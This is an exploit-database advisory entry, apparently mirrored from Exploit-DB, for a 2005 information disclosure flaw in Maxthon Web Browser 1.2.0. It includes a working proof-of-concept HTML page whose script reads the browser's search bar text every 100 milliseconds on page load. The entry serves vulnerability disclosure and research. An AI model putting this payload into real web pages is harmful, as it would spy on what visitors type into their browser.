Maxthon's Search Bar Information Disclosure PoC

vendor:

Maxthon Web Browser

by:

SecurityFocus

7.5

CVSS

HIGH

Information Disclosure

200

CWE

Product Name: Maxthon Web Browser

Affected Version From: 1.2.2000

Affected Version To: 1.2.2000

Patch Exists: NO

Related CWE: N/A

CPE: a:maxthon:maxthon_web_browser

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2005

Maxthon’s Search Bar Information Disclosure PoC

Maxthon Web Browser is reported prone to an information disclosure vulnerability. This issue may allow an attacker to disclose search bar contents from an affected browser. Information disclosed through the exploitation of this vulnerability may aid an attacker in carrying out other attacks against a vulnerable computer.

Mitigation:

Users should exercise caution when using Maxthon Web Browser and should avoid entering sensitive information into the search bar.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/12898/info

Maxthon Web Browser is reported prone to an information disclosure vulnerability. This issue may allow an attacker to disclose search bar contents from an affected browser.

Information disclosed through the exploitation of this vulnerability may aid an attacker in carrying out other attacks against a vulnerable computer.

Maxthon Web Browser 1.2.0 is reported to be vulnerable to this issue. Prior versions may be affected as well.

<html>
<head>
<title>Maxthon's Search Bar Information Disclosure PoC</title>
<script>
function sniff() {
try {
s.value=external.m2_search_text;
}
catch(e) {}
}
function body_onload() {
window.setInterval('sniff()',100);
}
</script>
</head>
<body onload="body_onload()">
Information typed in Maxthon's search bar will be displayed here: <input type="text" id="s" value='' readonly="true" />
</body>
</html>